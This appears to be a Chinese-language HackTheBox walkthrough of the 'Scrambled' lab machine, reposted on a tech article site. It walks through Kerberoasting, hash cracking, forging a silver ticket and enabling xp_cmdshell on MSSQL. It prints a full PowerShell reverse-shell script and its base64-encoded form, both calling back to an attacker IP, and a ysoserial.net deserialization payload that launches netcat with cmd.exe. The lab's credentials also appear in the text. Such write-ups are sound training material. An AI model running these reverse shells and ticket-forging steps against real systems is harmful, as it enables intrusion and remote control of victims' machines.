Hackthebox - Scrambled- linux

2024-03-14 10:28
文章标签 linux hackthebox scrambled

本文主要是介绍Hackthebox - Scrambled- linux,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

Recon

Port Scan

HTTP 80

根据在 support 页面得到的信息:

  • 邮箱 support@scramblecorp.com
  • 用户名 ksimpson
  • 一个用于连接 4411 端口的软件
  • 密码 ksimpson

SMB 445

这里连接 SMB 服务是连不上的,因为禁用了 NTLM

MSSQL 1443

SQL 服务也同样

Unknown service 4411

尝试连接 4411 端口,看样子需要指定的软件才能与 4411 端口通信

Kerberos enum

由于禁用了 NTLM 认证,所以后面的操作只能通过请求票据来认证。现在使用在 http://scrm.local/supportrequest.html 得到的用户名来尝试获取 TGT 票据

连接到 smb,在 Public 文件夹得到一个 PDF 文件

内容如下,这意味着接下来的攻击路径会和 smb 共享下的 HR 文件和 MSSQL 数据库有关

使用 GetUserSPNs 获取 sqlsvc 服务账户的 tgs

impacket-GetUserSPNs scrm.local/ksimpson:ksimpson -dc-ip dc1.scrm.local -request -k

使用 hashcat 破解,得到凭据 sqlsvc:Pegasus60
使用凭据登录,出现报错

Silver ticker

由于禁用 NTLM,在得到凭据后需要制作 ST (Silver ticker)才能访问 MSSQL

要创建 ST,可以使用 ticketer 脚本

需要的参数有

  • NTHash
  • SID
  • FQDN (fully qualified domain name)
  • SPN (Service principal name)

下面将展示如何获取这些值
NTHash

 iconv -f <INPUT_ENCODING> -t <OUTPUT_ENCODING> <(printf "<PASSWORD>") | openssl dgst -md4

方法来自 Atucom: Generate NTLM hashes via command line
https://blog.atucom.net/2012/10/generate-ntlm-hashes-via-command-line.html
SID
使用 getPAC 来获取 SID 值

 impacket-getPac <DOMAIN>/<USERNAME>:<PASSWORD> -targetUser <TARGET_USER>

FQDN
域名为 scrm.local
SPN
在使用 getUserSPNs 时已得到 SPN,值为 MSSQLSvc/dc1.scrm.local

 impacket-ticketer -nthash <krbtgt/service nthash> -domain-sid <your domain SID> -domain <your domain FQDN> baduser
impacket-ticketer -nthash b999a16500b87d17ec7f2e2a68778f05 -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -domain scrm.local -spn MSSQLSvc/dc1.scrm.local sqladmin

这条命令会输出一个 sqladmin.ccache 文件,需要使用 export KRB5CCNAME=sqladmin.ccache 设置环境变量才可以使用

MSSQL Enumeration

在 UserImport 表中得到一组新的凭据

xp_cmdshell

这里测试 xp_cmdshell 没有开启,需要使用 enable_xp_cmdshell 开启。

确认 xp_cmdshell 开启成功

Reverse shell

要获取 shell,首先要制作一个使用 base64 编码的 payload,然后在 MSSQL 交互处使用 xp_cmdshell 执行命令

┌──(kali㉿kali)-[~/WorkSpace/Hackthebox/Scrambled]
└─$ cat rev.ps1       
$client = New-Object System.Net.Sockets.TCPClient('10.10.16.4', 1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()                                                     
┌──(kali㉿kali)-[~/WorkSpace/Hackthebox/Scrambled]
└─$ str=`cat rev.ps1`                                                                                                         
┌──(kali㉿kali)-[~/WorkSpace/Hackthebox/Scrambled]
└─$ echo $str
$client = New-Object System.Net.Sockets.TCPClient('10.10.16.4', 1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()┌──(kali㉿kali)-[~/WorkSpace/Hackthebox/Scrambled]
└─$ echo -en $str | iconv -t UTF-16LE | base64 -w 0

由于得到的 sqlsvc shell 没有查看 user flag 权限,所以需要使用到之前在数据库里得到的凭据来获取 MiscSvc shell

$password = ConvertTo-SecureString 'ScrambledEggs9900' -AsPlainText -Force$creds = New-Object System.Management.Automation.PSCredential("scrm\miscsvc", $password)Invoke-Command -ComputerName dc1 -ScriptBlock {powershell -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAwAC4AMQA2AC4ANAAnACwAIAAxADIAMwA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAiAC4AIAB7ACAAJABkAGEAdABhACAAfQAgADIAPgAmADEAIgAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACAAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAnAFAAUwAgACcAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==} -Credential $creds


在 sqlsvc 尝试了各种土豆提权失败,看来还需要深一步挖掘
来到 C:\Shares\IT\Apps\Sales Order Client 目录,可以看到之前在 web 站点看到的 ScrambleClient.exe。他能够与 4411 端口交互

使用 miscsvc 凭据连接到 smb,将 IT 下的 exe 和 dll 文件下载到 kali。
这里可以看到,用 .net 编写

ROOT

从分析 .net 开始就看不懂了
writeup 使用的 https://github.com/pwntester/ysoserial.net 来生成了 .net 反序列化的 payload

.\ysoserial.exe -f BinaryFormatter -g AxHostState -o base64 -c "C:\\programdata\\nc64.exe 10.10.14.6 444 -e cmd.exe"

Ref

HackTheBox, Scrambled | Hacking Blog
https://myhomeisquintoc.com/challenge/scrambled

HTB: Scrambled [From Linux] | 0xdf hacks stuff
https://0xdf.gitlab.io/2022/10/01/htb-scrambled-linux.html#mssql-enumeration

Atucom: Generate NTLM hashes via command line
https://blog.atucom.net/2012/10/generate-ntlm-hashes-via-command-line.html

这篇关于Hackthebox - Scrambled- linux的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/808124

相关文章

防止Linux rm命令误操作的多场景防护方案与实践

《防止Linuxrm命令误操作的多场景防护方案与实践》在Linux系统中,rm命令是删除文件和目录的高效工具,但一旦误操作,如执行rm-rf/或rm-rf/*,极易导致系统数据灾难,本文针对不同场景... 目录引言理解 rm 命令及误操作风险rm 命令基础常见误操作案例防护方案使用 rm编程 别名及安全删除

Linux下MySQL数据库定时备份脚本与Crontab配置教学

《Linux下MySQL数据库定时备份脚本与Crontab配置教学》在生产环境中,数据库是核心资产之一,定期备份数据库可以有效防止意外数据丢失,本文将分享一份MySQL定时备份脚本,并讲解如何通过cr... 目录备份脚本详解脚本功能说明授权与可执行权限使用 Crontab 定时执行编辑 Crontab添加定

使用docker搭建嵌入式Linux开发环境

《使用docker搭建嵌入式Linux开发环境》本文主要介绍了使用docker搭建嵌入式Linux开发环境,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面... 目录1、前言2、安装docker3、编写容器管理脚本4、创建容器1、前言在日常开发全志、rk等不同

linux系统上安装JDK8全过程

《linux系统上安装JDK8全过程》文章介绍安装JDK的必要性及Linux下JDK8的安装步骤,包括卸载旧版本、下载解压、配置环境变量等,强调开发需JDK,运行可选JRE,现JDK已集成JRE... 目录为什么要安装jdk?1.查看linux系统是否有自带的jdk:2.下载jdk压缩包2.解压3.配置环境

Linux搭建ftp服务器的步骤

《Linux搭建ftp服务器的步骤》本文给大家分享Linux搭建ftp服务器的步骤,本文通过图文并茂的形式给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录ftp搭建1:下载vsftpd工具2:下载客户端工具3:进入配置文件目录vsftpd.conf配置文件4:

Linux实现查看某一端口是否开放

《Linux实现查看某一端口是否开放》文章介绍了三种检查端口6379是否开放的方法:通过lsof查看进程占用,用netstat区分TCP/UDP监听状态,以及用telnet测试远程连接可达性... 目录1、使用lsof 命令来查看端口是否开放2、使用netstat 命令来查看端口是否开放3、使用telnet

Linux系统管理与进程任务管理方式

《Linux系统管理与进程任务管理方式》本文系统讲解Linux管理核心技能,涵盖引导流程、服务控制(Systemd与GRUB2)、进程管理(前台/后台运行、工具使用)、计划任务(at/cron)及常用... 目录引言一、linux系统引导过程与服务控制1.1 系统引导的五个关键阶段1.2 GRUB2的进化优

Linux查询服务器 IP 地址的命令详解

《Linux查询服务器IP地址的命令详解》在服务器管理和网络运维中,快速准确地获取服务器的IP地址是一项基本但至关重要的技能,下面我们来看看Linux中查询服务器IP的相关命令使用吧... 目录一、hostname 命令:简单高效的 IP 查询工具命令详解实际应用技巧注意事项二、ip 命令:新一代网络配置全

linux安装、更新、卸载anaconda实践

《linux安装、更新、卸载anaconda实践》Anaconda是基于conda的科学计算环境,集成1400+包及依赖,安装需下载脚本、接受协议、设置路径、配置环境变量,更新与卸载通过conda命令... 目录随意找一个目录下载安装脚本检查许可证协议,ENTER就可以安装完毕之后激活anaconda安装更

Linux查询服务器系统版本号的多种方法

《Linux查询服务器系统版本号的多种方法》在Linux系统管理和维护工作中,了解当前操作系统的版本信息是最基础也是最重要的操作之一,系统版本不仅关系到软件兼容性、安全更新策略,还直接影响到故障排查和... 目录一、引言:系统版本查询的重要性二、基础命令解析:cat /etc/Centos-release详